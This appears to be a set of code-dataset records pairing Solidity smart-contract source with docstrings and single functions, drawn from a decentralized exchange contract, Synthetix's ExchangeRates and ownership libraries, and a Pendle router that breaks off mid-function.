taker.maxGasFee.sub(_orderGasFee[takerHash]); } if(gasFee != 0) { _orderGasFee[takerHash] = _orderGasFee[takerHash].add(gasFee); _balances[taker.gasToken][taker.user] = _balances[taker.gasToken][taker.user].sub(gasFee); } } if( maker.sell) { //maker is seller _updateOrderBalance(taker.user,maker.user,taker.baseToken,taker.token, tradeBaseTokenAmount,ti.tradeTokenAmount,takerFee,makerFee); }else { //maker is buyer _updateOrderBalance(maker.user,taker.user,taker.baseToken,taker.token, tradeBaseTokenAmount,ti.tradeTokenAmount,makerFee,takerFee); } //fill order _orderFills[takerHash] = _orderFills[takerHash].add(ti.tradeTokenAmount); _orderFills[makerHash] = _orderFills[makerHash].add(ti.tradeTokenAmount); emit Trade(takerHash,makerHash,ti.tradeTokenAmount,tradeBaseTokenAmount,ti.tradeNonce,takerFee,makerFee, maker.sell ,gasFee); emit Balance(_balances[taker.baseToken][taker.user],_balances[taker.token][taker.user],_balances[maker.baseToken][maker.user],_balances[maker.token][maker.user]); } /** * @dev update the balance after each order traded */ function _updateOrderBalance(address buyer,address seller,address base,address token,uint256 baseAmount,uint256 amount,uint256 buyFee,uint256 sellFee) internal { _balances[base][seller] = _balances[base][seller].add(baseAmount.sub(sellFee)); _balances[base][buyer] = _balances[base][buyer].sub(baseAmount); _balances[token][buyer] = _balances[token][buyer].add(amount.sub(buyFee)); _balances[token][seller] = _balances[token][seller].sub(amount); _balances[base][_feeAccount] = _balances[base][_feeAccount].add(sellFee); _balances[token][_feeAccount] = _balances[token][_feeAccount].add(buyFee); } /** * @dev calc max fee for maker and taker * @return return a taker and maker fee limit by _takerFeeRate and _makerFeeRate */ function calcMaxFee(TradeInfo memory ti,uint256 tradeBaseTokenAmount,bool sellerIsMaker) view public returns (uint256 takerFee,uint256 makerFee) { uint maxTakerFee; uint maxMakerFee; takerFee = ti.tradeTakerFee; makerFee = ti.tradeMakerFee; if(sellerIsMaker) { // taker is buyer maxTakerFee = (ti.tradeTokenAmount * _takerFeeRate) / 1 ether; maxMakerFee = (tradeBaseTokenAmount * _makerFeeRate) / 1 ether; }else{ // maker is buyer maxTakerFee = (tradeBaseTokenAmount * _takerFeeRate) / 1 ether; maxMakerFee = (ti.tradeTokenAmount * _makerFeeRate) / 1 ether; } if(ti.tradeTakerFee > maxTakerFee) { takerFee = maxTakerFee; } if(ti.tradeMakerFee > maxMakerFee) { makerFee = maxMakerFee; } } /** * @dev get fee Rate */ function getFeeRate() view public returns(uint256 makerFeeRate,uint256 takerFeeRate) { return (_makerFeeRate,_takerFeeRate); } /** * @dev get order filled amount * @param orderHash the order hash * @return return the filled amount for a order */ function getOrderFills(bytes32 orderHash) view public returns(uint256 filledAmount) { return _orderFills[orderHash]; } ///@dev check orders traded function isTraded(bytes32 buyOrderHash,bytes32 sellOrderHash) view public returns(bool traded) { return _traded[keccak256(abi.encodePacked(buyOrderHash, sellOrderHash))]; } /** * @dev Airdrop the token directly to Dex user's walle,only airdrop contract can call this function. * @param to the recipient * @param token the ERC20 token to send * @param amount the token amount to send */ function airdrop(address to,address token,uint256 amount) public onlyAirdropContract { //Not EOA require(tx.origin != msg.sender); require(_balances[token][msg.sender] >= amount ,INSUFFICIENT_FOUND); _balances[token][msg.sender] = _balances[token][msg.sender].sub(amount); _balances[token][to] = _balances[token][to].add(amount); emit Airdrop(to,token,amount); } /** * @dev ecreover the order sign * @return return a order hash */ function ecrecoverOrder(Order memory order,uint signType) public pure returns (bytes32 orderHash) { if(signType == 0 ) { orderHash = keccak256(abi.encode( ORDER_TYPEHASH, order.token,order.baseToken,order.tokenAmount,order.baseTokenAmount,order.nonce,order.sell,order.expireTime,order.maxGasFee,order.gasToken,order.timestamp)); if (ecrecover(keccak256(abi.encodePacked("\x19\x01",DOMAIN_SEPARATOR,orderHash)),order.V,order.R, order.S) != order.user) { revert(ECRECOVER_FAILED); } }else { orderHash = keccak256(abi.encodePacked(order.token,order.baseToken,order.tokenAmount,order.baseTokenAmount,order.nonce,order.sell,order.expireTime,order.maxGasFee,order.gasToken,order.timestamp)); if(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",orderHash)),order.V,order.R, order.S) != order.user) { revert(ECRECOVER_FAILED); } } } /** * @dev ecrecover the withdraw sign * @return return a withdraw hash */ function ecrecoverWithdraw(address from,address payable to,address token,uint256 amount,uint256 nonce,uint8 v,bytes32[2] memory rs, address feeToken,uint256 feeWithdrawal,uint timestamp,uint signType) public pure returns (bytes32 orderHash) { if(signType == 1 ) { orderHash = keccak256(abi.encodePacked(token, amount, to, nonce,feeToken,feeWithdrawal,timestamp)); if (ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), v, rs[0], rs[1]) != from) { revert(ECRECOVER_FAILED); } } else { orderHash = keccak256(abi.encode(WITHDRAW_TYPEHASH,token, amount, to, nonce,feeToken,feeWithdrawal,timestamp)); if (ecrecover(keccak256(abi.encodePacked("\x19\x01",DOMAIN_SEPARATOR,orderHash)), v, rs[0], rs[1]) != from) { revert(ECRECOVER_FAILED); } } } /** * @dev burn the stored gastoken * @param gasUsed The gas uesed to calc the gastoken to burn */ function _burnGas(uint gasUsed) internal { if(_gasStorage == address(0x0)){ return; } IGasStorage(_gasStorage).burn(gasUsed); } }
deposit eth/
function deposit() public payable { _deposit(msg.sender,address(0),msg.value); }
1,805,294
/* =============================================== * Flattened with Solidifier by Coinage * * https://solidifier.coina.ge * =============================================== */ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: SafeDecimalMath.sol version: 2.0 author: Kevin Brown Gavin Conway date: 2018-10-18 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A library providing safe mathematical operations for division and multiplication with the capability to round or truncate the results to the nearest increment. Operations can return a standard precision or high precision decimal. High precision decimals are useful for example when attempting to calculate percentages or fractions accurately. ----------------------------------------------------------------- */ /** * @title Safely manipulate unsigned fixed-point decimals at a given precision level. * @dev Functions accepting uints in this contract and derived contracts * are taken to be such fixed point decimals of a specified precision (either standard * or high). */ library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10 ** uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound(uint x, uint y, uint precisionUnit) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Owned.sol version: 1.1 author: Anton Jurisevic Dominic Romanowski date: 2018-2-26 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- An Owned contract, to be inherited by other contracts. Requires its owner to be explicitly set in the constructor. Provides an onlyOwner access modifier. To change owner, the current owner must nominate the next owner, who then has to accept the nomination. The nomination can be cancelled before it is accepted by the new owner by having the previous owner change the nomination (setting it to 0). ----------------------------------------------------------------- */ /** * @title A contract with an owner. * @notice Contract ownership can be transferred by first nominating the new owner, * who must then accept the ownership, which prevents accidental incorrect ownership transfers. */ contract Owned { address public owner; address public nominatedOwner; /** * @dev Owned Constructor */ constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } /** * @notice Nominate a new owner of this contract. * @dev Only the current owner may nominate a new owner. */ function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } /** * @notice Accept the nomination to be owner. */ function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: SelfDestructible.sol version: 1.2 author: Anton Jurisevic date: 2018-05-29 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- This contract allows an inheriting contract to be destroyed after its owner indicates an intention and then waits for a period without changing their mind. All ether contained in the contract is forwarded to a nominated beneficiary upon destruction. ----------------------------------------------------------------- */ /** * @title A contract that can be destroyed by its owner after a delay elapses. */ contract SelfDestructible is Owned { uint public initiationTime; bool public selfDestructInitiated; address public selfDestructBeneficiary; uint public constant SELFDESTRUCT_DELAY = 4 weeks; /** * @dev Constructor * @param _owner The account which controls this contract. */ constructor(address _owner) Owned(_owner) public { require(_owner != address(0), "Owner must not be the zero address"); selfDestructBeneficiary = _owner; emit SelfDestructBeneficiaryUpdated(_owner); } /** * @notice Set the beneficiary address of this contract. * @dev Only the contract owner may call this. The provided beneficiary must be non-null. * @param _beneficiary The address to pay any eth contained in this contract to upon self-destruction. */ function setSelfDestructBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiary != address(0), "Beneficiary must not be the zero address"); selfDestructBeneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } /** * @notice Begin the self-destruction counter of this contract. * Once the delay has elapsed, the contract may be self-destructed. * @dev Only the contract owner may call this. */ function initiateSelfDestruct() external onlyOwner { initiationTime = now; selfDestructInitiated = true; emit SelfDestructInitiated(SELFDESTRUCT_DELAY); } /** * @notice Terminate and reset the self-destruction timer. * @dev Only the contract owner may call this. */ function terminateSelfDestruct() external onlyOwner { initiationTime = 0; selfDestructInitiated = false; emit SelfDestructTerminated(); } /** * @notice If the self-destruction delay has elapsed, destroy this contract and * remit any ether it owns to the beneficiary address. * @dev Only the contract owner may call this. */ function selfDestruct() external onlyOwner { require(selfDestructInitiated, "Self destruct has not yet been initiated"); require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed"); address beneficiary = selfDestructBeneficiary; emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructTerminated(); event SelfDestructed(address beneficiary); event SelfDestructInitiated(uint selfDestructDelay); event SelfDestructBeneficiaryUpdated(address newBeneficiary); } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: ExchangeRates.sol version: 1.0 author: Kevin Brown date: 2018-09-12 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- A contract that any other contract in the Synthetix system can query for the current market value of various assets, including crypto assets as well as various fiat assets. This contract assumes that rate updates will completely update all rates to their current values. If a rate shock happens on a single asset, the oracle will still push updated rates for all other assets. ----------------------------------------------------------------- */ /** * @title The repository for exchange rates */ contract ExchangeRates is SelfDestructible { using SafeMath for uint; // Exchange rates stored by currency code, e.g. 'SNX', or 'sUSD' mapping(bytes4 => uint) public rates; // Update times stored by currency code, e.g. 'SNX', or 'sUSD' mapping(bytes4 => uint) public lastRateUpdateTimes; // The address of the oracle which pushes rate updates to this contract address public oracle; // Do not allow the oracle to submit times any further forward into the future than this constant. uint constant ORACLE_FUTURE_LIMIT = 10 minutes; // How long will the contract assume the rate of any asset is correct uint public rateStalePeriod = 3 hours; // Each participating currency in the XDR basket is represented as a currency key with // equal weighting. // There are 5 participating currencies, so we'll declare that clearly. bytes4[5] public xdrParticipants; // For inverted prices, keep a mapping of their entry, limits and frozen status struct InversePricing { uint entryPoint; uint upperLimit; uint lowerLimit; bool frozen; } mapping(bytes4 => InversePricing) public inversePricing; bytes4[] public invertedKeys; // // ========== CONSTRUCTOR ========== /** * @dev Constructor * @param _owner The owner of this contract. * @param _oracle The address which is able to update rate information. * @param _currencyKeys The initial currency keys to store (in order). * @param _newRates The initial currency amounts for each currency (in order). */ constructor( // SelfDestructible (Ownable) address _owner, // Oracle values - Allows for rate updates address _oracle, bytes4[] _currencyKeys, uint[] _newRates ) /* Owned is initialised in SelfDestructible */ SelfDestructible(_owner) public { require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match."); oracle = _oracle; // The sUSD rate is always 1 and is never stale. rates["sUSD"] = SafeDecimalMath.unit(); lastRateUpdateTimes["sUSD"] = now; // These are the currencies that make up the XDR basket. // These are hard coded because: // - This way users can depend on the calculation and know it won't change for this deployment of the contract. // - Adding new currencies would likely introduce some kind of weighting factor, which // isn't worth preemptively adding when all of the currencies in the current basket are weighted at 1. // - The expectation is if this logic needs to be updated, we'll simply deploy a new version of this contract // then point the system at the new version. xdrParticipants = [ bytes4("sUSD"), bytes4("sAUD"), bytes4("sCHF"), bytes4("sEUR"), bytes4("sGBP") ]; internalUpdateRates(_currencyKeys, _newRates, now); } /* ========== SETTERS ========== */ /** * @notice Set the rates stored in this contract * @param currencyKeys The currency keys you wish to update the rates for (in order) * @param newRates The rates for each currency (in order) * @param timeSent The timestamp of when the update was sent, specified in seconds since epoch (e.g. the same as the now keyword in solidity).contract * This is useful because transactions can take a while to confirm, so this way we know how old the oracle's datapoint was exactly even * if it takes a long time for the transaction to confirm. */ function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) external onlyOracle returns(bool) { return internalUpdateRates(currencyKeys, newRates, timeSent); } /** * @notice Internal function which sets the rates stored in this contract * @param currencyKeys The currency keys you wish to update the rates for (in order) * @param newRates The rates for each currency (in order) * @param timeSent The timestamp of when the update was sent, specified in seconds since epoch (e.g. the same as the now keyword in solidity).contract * This is useful because transactions can take a while to confirm, so this way we know how old the oracle's datapoint was exactly even * if it takes a long time for the transaction to confirm. */ function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent) internal returns(bool) { require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length."); require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future"); // Loop through each key and perform update. for (uint i = 0; i < currencyKeys.length; i++) { // Should not set any rate to zero ever, as no asset will ever be // truely worthless and still valid. In this scenario, we should // delete the rate and remove it from the system. require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead."); require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT."); // We should only update the rate if it's at least the same age as the last rate we've got. if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) { continue; } newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]); // Ok, go ahead with the update. rates[currencyKeys[i]] = newRates[i]; lastRateUpdateTimes[currencyKeys[i]] = timeSent; } emit RatesUpdated(currencyKeys, newRates); // Now update our XDR rate. updateXDRRate(timeSent); return true; } /** * @notice Internal function to get the inverted rate, if any, and mark an inverted * key as frozen if either limits are reached. * @param currencyKey The price key to lookup * @param rate The rate for the given price key */ function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) { // if an inverse mapping exists, adjust the price accordingly InversePricing storage inverse = inversePricing[currencyKey]; if (inverse.entryPoint <= 0) { return rate; } // set the rate to the current rate initially (if it's frozen, this is what will be returned) uint newInverseRate = rates[currencyKey]; // get the new inverted rate if not frozen if (!inverse.frozen) { uint doubleEntryPoint = inverse.entryPoint.mul(2); if (doubleEntryPoint <= rate) { // avoid negative numbers for unsigned ints, so set this to 0 // which by the requirement that lowerLimit be > 0 will // cause this to freeze the price to the lowerLimit newInverseRate = 0; } else { newInverseRate = doubleEntryPoint.sub(rate); } // now if new rate hits our limits, set it to the limit and freeze if (newInverseRate >= inverse.upperLimit) { newInverseRate = inverse.upperLimit; } else if (newInverseRate <= inverse.lowerLimit) { newInverseRate = inverse.lowerLimit; } if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) { inverse.frozen = true; emit InversePriceFrozen(currencyKey); } } return newInverseRate; } /** * @notice Update the Synthetix Drawing Rights exchange rate based on other rates already updated. */ function updateXDRRate(uint timeSent) internal { uint total = 0; for (uint i = 0; i < xdrParticipants.length; i++) { total = rates[xdrParticipants[i]].add(total); } // Set the rate rates["XDR"] = total; // Record that we updated the XDR rate. lastRateUpdateTimes["XDR"] = timeSent; // Emit our updated event separate to the others to save // moving data around between arrays. bytes4[] memory eventCurrencyCode = new bytes4[](1); eventCurrencyCode[0] = "XDR"; uint[] memory eventRate = new uint[](1); eventRate[0] = rates["XDR"]; emit RatesUpdated(eventCurrencyCode, eventRate); } /** * @notice Delete a rate stored in the contract * @param currencyKey The currency key you wish to delete the rate for */ function deleteRate(bytes4 currencyKey) external onlyOracle { require(rates[currencyKey] > 0, "Rate is zero"); delete rates[currencyKey]; delete lastRateUpdateTimes[currencyKey]; emit RateDeleted(currencyKey); } /** * @notice Set the Oracle that pushes the rate information to this contract * @param _oracle The new oracle address */ function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } /** * @notice Set the stale period on the updated rate variables * @param _time The new rateStalePeriod */ function setRateStalePeriod(uint _time) external onlyOwner { rateStalePeriod = _time; emit RateStalePeriodUpdated(rateStalePeriod); } /** * @notice Set an inverse price up for the currency key * @param currencyKey The currency to update * @param entryPoint The entry price point of the inverted price * @param upperLimit The upper limit, at or above which the price will be frozen * @param lowerLimit The lower limit, at or below which the price will be frozen */ function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit) external onlyOwner { require(entryPoint > 0, "entryPoint must be above 0"); require(lowerLimit > 0, "lowerLimit must be above 0"); require(upperLimit > entryPoint, "upperLimit must be above the entryPoint"); require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint"); require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint"); if (inversePricing[currencyKey].entryPoint <= 0) { // then we are adding a new inverse pricing, so add this invertedKeys.push(currencyKey); } inversePricing[currencyKey].entryPoint = entryPoint; inversePricing[currencyKey].upperLimit = upperLimit; inversePricing[currencyKey].lowerLimit = lowerLimit; inversePricing[currencyKey].frozen = false; emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit); } /** * @notice Remove an inverse price for the currency key * @param currencyKey The currency to remove inverse pricing for */ function removeInversePricing(bytes4 currencyKey) external onlyOwner { inversePricing[currencyKey].entryPoint = 0; inversePricing[currencyKey].upperLimit = 0; inversePricing[currencyKey].lowerLimit = 0; inversePricing[currencyKey].frozen = false; // now remove inverted key from array for (uint8 i = 0; i < invertedKeys.length; i++) { if (invertedKeys[i] == currencyKey) { delete invertedKeys[i]; // Copy the last key into the place of the one we just deleted // If there's only one key, this is array[0] = array[0]. // If we're deleting the last one, it's also a NOOP in the same way. invertedKeys[i] = invertedKeys[invertedKeys.length - 1]; // Decrease the size of the array by one. invertedKeys.length--; break; } } emit InversePriceConfigured(currencyKey, 0, 0, 0); } /* ========== VIEWS ========== */ /** * @notice Retrieve the rate for a specific currency */ function rateForCurrency(bytes4 currencyKey) public view returns (uint) { return rates[currencyKey]; } /** * @notice Retrieve the rates for a list of currencies */ function ratesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory _rates = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { _rates[i] = rates[currencyKeys[i]]; } return _rates; } /** * @notice Retrieve a list of last update times for specific currencies */ function lastRateUpdateTimeForCurrency(bytes4 currencyKey) public view returns (uint) { return lastRateUpdateTimes[currencyKey]; } /** * @notice Retrieve the last update time for a specific currency */ function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory lastUpdateTimes = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]]; } return lastUpdateTimes; } /** * @notice Check if a specific currency's rate hasn't been updated for longer than the stale period. */ function rateIsStale(bytes4 currencyKey) external view returns (bool) { // sUSD is a special case and is never stale. if (currencyKey == "sUSD") return false; return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now; } /** * @notice Check if any rate is frozen (cannot be exchanged into) */ function rateIsFrozen(bytes4 currencyKey) external view returns (bool) { return inversePricing[currencyKey].frozen; } /** * @notice Check if any of the currency rates passed in haven't been updated for longer than the stale period. */ function anyRateIsStale(bytes4[] currencyKeys) external view returns (bool) { // Loop through each key and check whether the data point is stale. uint256 i = 0; while (i < currencyKeys.length) { // sUSD is a special case and is never false if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) { return true; } i += 1; } return false; } /* ========== MODIFIERS ========== */ modifier onlyOracle { require(msg.sender == oracle, "Only the oracle can perform this action"); _; } /* ========== EVENTS ========== */ event OracleUpdated(address newOracle); event RateStalePeriodUpdated(uint rateStalePeriod); event RatesUpdated(bytes4[] currencyKeys, uint[] newRates); event RateDeleted(bytes4 currencyKey); event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit); event InversePriceFrozen(bytes4 currencyKey); }
Retrieve the rate for a specific currency/
function rateForCurrency(bytes4 currencyKey) public view returns (uint) { return rates[currencyKey]; }
1,080,763
// SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../libraries/MathLib.sol"; import "../interfaces/IPendleRouter.sol"; import "../interfaces/IPendleData.sol"; import "../interfaces/IPendleForge.sol"; import "../interfaces/IPendleMarketFactory.sol"; import "../interfaces/IPendleMarket.sol"; import "../periphery/Permissions.sol"; import "../periphery/Withdrawable.sol"; import "../periphery/PendleNonReentrant.sol"; contract PendleRouter is IPendleRouter, Permissions, Withdrawable, PendleNonReentrant { using SafeERC20 for IERC20; using SafeMath for uint256; IWETH public immutable override weth; IPendleData public override data; address private constant ETH_ADDRESS = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); address private constant DUMMY_ERC20 = address(0x123); constructor(address _governance, IWETH _weth) Permissions(_governance) { weth = _weth; _reentrancyStatus = _NOT_ENTERED; } /** * @dev Accepts ETH via fallback from the WETH contract. **/ receive() external payable {} function initialize(IPendleData _data) external { require(msg.sender == initializer, "FORBIDDEN"); require(address(_data) != address(0), "ZERO_ADDRESS"); initializer = address(0); data = _data; } /*********** * FORGE * ***********/ /** * @notice forges are identified by forgeIds **/ function addForge(bytes32 _forgeId, address _forgeAddress) external override initialized onlyGovernance pendleNonReentrant { require(_forgeId != bytes32(0), "ZERO_BYTES"); require(_forgeAddress != address(0), "ZERO_ADDRESS"); require(_forgeId == IPendleForge(_forgeAddress).forgeId(), "INVALID_ID"); require(data.getForgeAddress(_forgeId) == address(0), "EXISTED_ID"); data.addForge(_forgeId, _forgeAddress); emit NewForge(_forgeId, _forgeAddress); } /** * @notice Create a new pair of OT + XYT tokens to represent the * principal and interest for an underlying asset, until an expiry **/ function newYieldContracts( bytes32 _forgeId, address _underlyingAsset, uint256 _expiry ) external override pendleNonReentrant returns (address ot, address xyt) { require(_underlyingAsset != address(0), "ZERO_ADDRESS"); require(_expiry > block.timestamp, "INVALID_EXPIRY"); IPendleForge forge = IPendleForge(data.getForgeAddress(_forgeId)); require(address(forge) != address(0), "FORGE_NOT_EXISTS"); ot = address(data.otTokens(_forgeId, _underlyingAsset, _expiry)); xyt = address(data.xytTokens(_forgeId, _underlyingAsset, _expiry)); require(ot == address(0) && xyt == address(0), "DUPLICATE_YIELD_CONTRACT"); (ot, xyt) = forge.newYieldContracts(_underlyingAsset, _expiry); } /** * @notice After an expiry, redeem OT tokens to get back the underlyingYieldToken * and also any interests * @notice This function acts as a proxy to the actual function * @dev The interest from "the last global action before expiry" until the expiry * is given to the OT holders. This is to simplify accounting. An assumption * is that the last global action before expiry will be close to the expiry * @dev all validity checks are in the internal function **/ function redeemAfterExpiry( bytes32 _forgeId, address _underlyingAsset, uint256 